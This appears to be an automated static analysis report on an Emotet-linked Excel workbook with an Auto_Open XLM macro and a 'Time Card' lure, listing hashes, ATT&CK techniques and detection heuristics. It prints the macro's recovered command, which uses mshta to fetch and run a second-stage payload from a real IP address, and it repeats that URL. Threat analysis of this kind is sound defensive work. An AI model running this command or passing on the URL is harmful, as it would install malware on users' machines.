Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 d01a7bb10d320a43…

MALICIOUS

Office (OLE) / .XLSX

154.7 KB Created: 2022-01-27 11:58:35 Authoring application: Microsoft Excel
MD5: 0c0fb32d6051d6f9d7e8b72678aa5fe4 SHA-1: caef8122be2a10474ef4e95f53e52c6648ec1cfd SHA-256: d01a7bb10d320a432e7844bfe3fbe529e06aa27d851231b5d4704a9c64232dfb
322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1566.001 Phishing: Spearphishing Attachment T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic for Applications T1218.011 System Binary Proxy Execution: Mshta T1105 Ingress Tool Transfer

The sample is a malicious Excel workbook containing an Excel 4.0 (XLM) macro sheet with an Auto_Open entry. The document body mimics a 'Time Card' to lure the user. The heuristics and LOLBin token sequence indicate the execution of 'cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html', which downloads and executes a second-stage payload from the same IP. The ClamAV detection specifically attributes this to the Emotet family.

Heuristics 8

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • ClamAV: Xls.Downloader.Emotet-a5251d1d2d6d3726-9951018-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-a5251d1d2d6d3726-9951018-0
  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://91.240.118.168/qqqw/aaas/se.htmlB
    • http://91.240.118.168/qqqw/aaas/se.html

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
ed8983cfed67fcfa9f517c83d0e90708284a746a25a311cb284638eaeddfa242		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 3733 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s). Carved macro source contains an auto-exec entry point and execution/download terms.

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